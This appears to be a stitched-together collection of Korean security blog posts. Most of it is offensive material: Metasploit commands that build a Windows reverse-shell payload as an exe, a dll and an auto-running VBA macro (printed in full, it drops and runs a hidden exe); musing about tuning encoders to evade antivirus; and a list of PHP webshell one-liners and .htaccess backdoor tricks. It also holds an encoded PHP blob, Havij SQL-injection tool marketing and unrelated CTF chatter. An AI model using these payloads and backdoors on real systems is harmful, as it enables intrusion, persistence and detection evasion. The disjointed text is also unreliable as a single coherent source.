-a <opt> The architecture to encode as -b <opt> The list of characters to avoid: '\x00\xff' -c <opt> The number of times to encode the data -d <opt> Specify the directory in which to look for EXE templates -e <opt> The encoder to use -h Help banner -i <opt> Encode the contents of the supplied file path -k Keep template working; run payload in new thread (use with -x) -l List available encoders -m <opt> Specifies an additional module search path -n Dump encoder information -o <opt> The output file -p <opt> The platform to encode for -s <opt> The maximum size of the encoded data -t <opt> The output format: raw,ruby,rb,perl,pl,bash,sh,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vbs,loop-vbs,asp,war -v Increase verbosity -x <opt> Specify an alternate executable template
Name Rank Description ---- ---- ----------- cmd/generic_sh good Generic Shell Variable Substitution Command Encoder cmd/ifs low Generic ${IFS} Substitution Command Encoder cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder generic/none normal The "none" Encoder mipsbe/longxor normal XOR Encoder mipsle/longxor normal XOR Encoder php/base64 great PHP Base64 encoder ppc/longxor normal PPC LongXOR Encoder ppc/longxor_tag normal PPC LongXOR Encoder sparc/longxor_tag normal SPARC DWORD XOR Encoder x64/xor normal XOR Encoder x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder x86/avoid_utf8_tolower manual Avoid UTF8/tolower x86/call4_dword_xor normal Call+4 Dword XOR Encoder x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder x86/context_stat manual stat(2)-based Context Keyed Payload Encoder x86/context_time manual time(2)-based Context Keyed Payload Encoder x86/countdown normal Single-byte XOR Countdown Encoder x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder x86/nonalpha low Non-Alpha Encoder x86/nonupper low Non-Upper Encoder x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder x86/single_static_bit manual Single Static Bit x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
payload 만드는데 필요한 명령 두가지와 encoder 리스트입니다.
msfpayload만 쓰셔도 되지만 특이한 경우에는 msfenocde도 사용해야하기 때문에 둘 다 언급했습니다.
다음은 msfpayload 명령을 사용해서 payload를 만드는 방식에 대한 예제입니다.
payload는 개인적으로 좋아라하는 windows/shell_reverse_tcp를 사용했습니다.
root@LUCKYSTRIKE:~# msfpayload windows/shell_reverse_tcp LHOST=192.168.126.146 LPORT=9999 S
Name: Windows Command Shell, Reverse TCP Inline Module: payload/windows/shell_reverse_tcp Version: 8642 Platform: Windows Arch: x86 Needs Admin: No Total size: 314 Rank: Normal
-x 옵션은 지정된 템플릿을 바탕으로 실행 파일을 만들게끔 해줍니다. -k 옵션과 함께 사용해야 하며
-x 옵션 뒤에 디렉토리를 따로 지정하지 않으면 metasploit 설치 디렉토리 하위에 data/templates에 지정한 파일(calc.exe)가 있어야 합니다.
참고했던 위 페이지에서 처럼 실행해봤더니 잘 실행됨을 확인할 수 있었습니다. ㅎㅎ
msfencode에 대한 더 많은 삽질이 필요할 듯 합니다.
좀 더 알게되면 추가 포스팅해야겠습니다.
root@LUCKYSTRIKE:~# msfpayload windows/shell_reverse_tcp LHOST=192.168.126.146 LPORT=9999 D | msfencode -o reverse_shell.dll -t dll Created by msfpayload (http://www.metasploit.com). Payload: windows/shell_reverse_tcp Length: 314 Options: {"LHOST"=>"192.168.126.146", "LPORT"=>"9999"} [*] x86/shikata_ga_nai succeeded with size 14365 (iteration=1)
root@LUCKYSTRIKE:~# msfpayload windows/shell_reverse_tcp LHOST=192.168.126.146 LPORT=9999 V &H00&...(snip)...H00&
'Created by msfpayload (http://www.metasploit.com). 'Payload: windows/shell_reverse_tcp ' Length: 314 'Options: {"LHOST"=>"192.168.126.146", "LPORT"=>"9999"}
'************************************************************** '* '* This code is now split into two pieces: '* 1. The Macro. This must be copied into the Office document '* macro editor. This macro will run on startup. '* '* 2. The Data. The hex dump at the end of this output must be '* appended to the end of the document contents. '* '************************************************************** '* '* MACRO CODE '* '************************************************************** Sub Auto_Open() Bntml12 End Sub Sub Bntml12() Dim Bntml7 As Integer Dim Bntml1 As String Dim Bntml2 As String Dim Bntml3 As Integer Dim Bntml4 As Paragraph Dim Bntml8 As Integer Dim Bntml9 As Boolean Dim Bntml5 As Integer Dim Bntml11 As String Dim Bntml6 As Byte Dim Ilbpdhngga as String Ilbpdhngga = "Ilbpdhngga" Bntml1 = "qGPLaRGNNbzhDLG.exe" Bntml2 = Environ("USERPROFILE") ChDrive (Bntml2) ChDir (Bntml2) Bntml3 = FreeFile() Open Bntml1 For Binary As Bntml3 For Each Bntml4 in ActiveDocument.Paragraphs DoEvents Bntml11 = Bntml4.Range.Text If (Bntml9 = True) Then Bntml8 = 1 While (Bntml8 < Len(Bntml11)) Bntml6 = Mid(Bntml11,Bntml8,4) Put #Bntml3, , Bntml6 Bntml8 = Bntml8 + 4 Wend ElseIf (InStr(1,Bntml11,Ilbpdhngga) > 0 And Len(Bntml11) > 0) Then Bntml9 = True End If Next Close #Bntml3 Bntml13(Bntml1) End Sub Sub Bntml13(Bntml10 As String) Dim Bntml7 As Integer Dim Bntml2 As String Bntml2 = Environ("USERPROFILE") ChDrive (Bntml2) ChDir (Bntml2) Bntml7 = Shell(Bntml10, vbHide) End Sub Sub AutoOpen() Auto_Open End Sub Sub Workbook_Open() Auto_Open End Sub '************************************************************** '* '* PAYLOAD DATA '* '**************************************************************
root@LUCKYSTRIKE:~# msfpayload windows/shell_reverse_tcp LHOST=192.168.126.146 LPORT=9999 W | msfencode -b '\x00' Created by msfpayload (http://www.metasploit.com). Payload: windows/shell_reverse_tcp Length: 314 Options: {"LHOST"=>"192.168.126.146", "LPORT"=>"9999"} [-] x86/shikata_ga_nai failed: Encoding failed due to a bad character (index=194, char=0x00) [*] php/base64 succeeded with size 91691 (iteration=1)
war 형태로 type을 war로 지정하고 했더니 exe 형태일때랑 동일한 에러메시지가 떠서 인코딩했더니 상당히 길게 나오네요..
항상 msfpayload만 가지고 간단한 쉘코드만 작성해서 사용해봤었는데 msfencode와 같이 사용하면 꽤 괜찮다는 생각이 듭니다.
다만, msfencode로 인코딩한 파일을 제가 사용하는 빨간우산은 악성코드로 잡더군요..
바이러스토탈에 올려보니 무려 23개의 백신에서 탐지하고 있었습니다.
좀 더 공부해봐야 알겠지만 인코더나 옵션 조정하면 백신에 탐지 안되게 할 수도 있지 않을까요? 흠...
어쨋든 이 일구화목마를 동작시키기 위해서 eval 함수를 써야 하는 경우도 있고
eval 함수 없이 일반적으로 쓰이는 함수나 - include나 require 같은 - 특정 변수를 사용하는 경우도 있습니다.
PHP 백도어가 자주 사용하는 함수
1. 시스템 명령을 실행하는 함수 : system, passthru, shell_exec, exec, popen, proc_open
2. 코드 실행 및 암호화 : eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
3. 파일 생성을 포함하는 함수 : require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
4. .htaccess : SetHandler, auto_prepend_file, auto_append_file
//임의의 파일 포함
//test.php?file=123.jpg
require($_GET[file]);
require_once 함수
//임의의 파일 포함
//test.php?file=123.jpg
require_once($_GET[file]);
include 함수
//임의의 파일 포함
//test.php?file=123.jpg
include($_GET[file]);
include_once 함수
//임의의 파일 포함
//test.php?file=123.jpg
include_once($_GET[file]);
file_get_contents 함수
//임의의 파일 일기
//test.php?f=config.inc.php
echo file_get_contents($_GET['f']);
file_put_contents 함수
//콘텐츠 파일 생성
//a=test.php&b=<?php eval($_POST[cmd]);?>
file_put_contents($_GET[a],$_GET[b]);
fputs 함수
//콘텐츠 파일 생성
//a=test.php&b=<?php eval($_POST[cmd]);?>
fputs(fopen($_GET[a],"w"),$_GET[b]);
4. .htaccess
SetHandler
// x.jpg에 PHP 코드를 삽입하고 .htaccess에 다음 내용을 추가하여 PHP 코드 사용
// ....한다는 의미인 듯 합니다 -_-;;
FilesMatch "x.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
auto_prepend_file
// 모든 PHP 코드에 123.gif에 있는 코드 삽입
// 파일의 경로는 절대경로로 작성
php_value auto_prepend_file c:/apache2/htdocs/123.gif
auto_append_file
// auto_prepend_file 비슷한 방법
php_value auto_append_file c:/apache2/htdocs/123.gif
<?php //004ff
// IONCUBE ENCODER 7.0 EVALUATION
// THIS LICENSE MESSAGE IS ONLY ADDED BY THE EVALUATION ENCODER AND
// IS NOT PRESENT IN PRODUCTION ENCODED FILES
if(!extension_loaded('ionCube Loader')){$__oc=strtolower(substr(php_uname(),0,3));$__ln='ioncube_loader_'.$__oc.'_'.substr(phpversion(),0,3).(($__oc=='win')?'.dll':'.so');if(function_exists('dl')){@dl($__ln);}if(function_exists('_il_exec')){return _il_exec();}$__ln='/ioncube/'.$__ln;$__oid=$__id=realpath(ini_get('extension_dir'));$__here=dirname(__FILE__);if(strlen($__id)>1&&$__id[1]==':'){$__id=str_replace('\\','/',substr($__id,2));$__here=str_replace('\\','/',substr($__here,2));}$__rd=str_repeat('/..',substr_count($__id,'/')).$__here.'/';$__i=strlen($__rd);while($__i--){if($__rd[$__i]=='/'){$__lp=substr($__rd,0,$__i).$__ln;if(file_exists($__oid.$__lp)){$__ln=$__lp;break;}}}if(function_exists('dl')){@dl($__ln);}}else{die('The file '.__FILE__." is corrupted.\n");}if(function_exists('_il_exec')){return _il_exec();}echo('Site error: the file <b>'.__FILE__.'</b> requires the ionCube PHP Loader '.basename($__ln).' to be installed by the website operator. If you are the website operator please use the <a href="http://www.ioncube.com/lw/">ionCube Loader Wizard</a> to assist with installation.');exit(199);
?>
HR+cPxTNjfTCeGhO7UqZjF5z1+P302DsPpDprljXaAIkFbMCrg8ld6kiV07ggjgowQ32AX+ikjnd
+EaKtV3dX2AC/G0TEbiqvHWVGtTW7q8CFxNFDNb2mU+ScKJP6FZcXZrSLpr5/HovQLDw0HqfPTnP
x7a7BjMsSFEujkatV8HAMvjP8PIz4/w/FuCiNgXkcpezfQVOJ2ANwBgD2w7g8qqTqK1blwCd/DcE
GzdUXVo7BPN1/5VEdicuNwE59EtEIMeHzzP7NqzNltGnPMpycdhQGfiNr0LCRAlq5cuPVP3EWemP
DPrsqrnnp5laqLddnQsmPw/+9hnTSmFjyOlGlIvG4rOCz6qSAbuS9XuZD7dUL53g2YFhXHPN8fr3
NIUkySY+feyqflcqy725UZ9GMmw3uoYg2PrTUXvjU4sLiyeQvbvmr5HfpZC9fBVtD9FP
YARA is a tool aimed at helping malware researchers to identify and classify malware samples. With YARA you can create descriptions of malware families based on textual or binary patterns contained on samples of those families. Each description consists of a set of strings and a Boolean expression which determines its logic.
Havij is an automated SQL Injection tool that helps penetration testers to find and exploit SQL Injection vulnerabilities on a web page.
It can take advantage of a vulnerable web application. By using this software user can perform back-end database fingerprint, retrieve DBMS users and password hashes, dump tables and columns, fetching data from the database, running SQL statements and even accessing the underlying file system and executing commands on the operating system.
The power of Havij that makes it different from similar tools is its injection methods. The success rate is more than 95% at injectiong vulnerable targets using Havij.
The user friendly GUI (Graphical User Interface) of Havij and automated settings and detections makes it easy to use for everyone even amateur users.
Features:
Items
Free version
Commercial version
1. Supported Databases with injection methods:
MsSQL 2000/2005 with error
MsSQL 2000/2005 no error union based
MsSQL Blind
MySQL time based
MySQL union based
MySQL Blind
MySQL error based
MySQL time based
Oracle union based
Oracle error based
PostgreSQL union based
MsAccess union based
MsAccess Blind
Sybase (ASE)
Sybase (ASE) Blind
2. HTTPS Support
3. Proxy support
4. Automatic database detection
5. Automatic type detection (string or integer)
6. Automatic keyword detection (finding difference between the positive and negative response)
7. Trying different injection syntaxes
8. Options for replacing space by /**/,+,... against IDS or filters
9. Avoid using strings (magic_quotes similar filters bypass)
10. Manual injection syntax support
11. Manual queries with result
12. Bypassing illegal union
13. Full customizable http headers (like referer,user agent and ...)
14. Load cookie from site for authentication
15. Http Basic and Digest authentication
16. Injecting URL rewrite pages
17. Bypassing mod_security web application firewall and similar firewalls
18. Real time result
19. Guessing tables and columns in mysql<5 (also in blind) and MsAccess
20. Fast getting tables and columns for mysql
21. Executing SQL query in Oracle database
22. Getting one row in one request (all in one request)
스웨덴 팀인 HackingForSoju팀이 본선에 진출해서 한국에 오겠군요.
운영위원회에서 이들에게 다양하고 맛있는 소주를 대접하리라 예상됩니다. ;)
참고로 가능하시다면 막 대학 들어갔을때 먹었던 일명 두꺼비 소주나 과일주 담그는 30도짜리 pet병에 담긴 것도 괜찮으리라 생각됩니다. 필요하시면 공수해보겠습니다. ㅋㅋ
YARA User's Manual 1.5.pdf
bmp.xls
댓글을 달아 주세요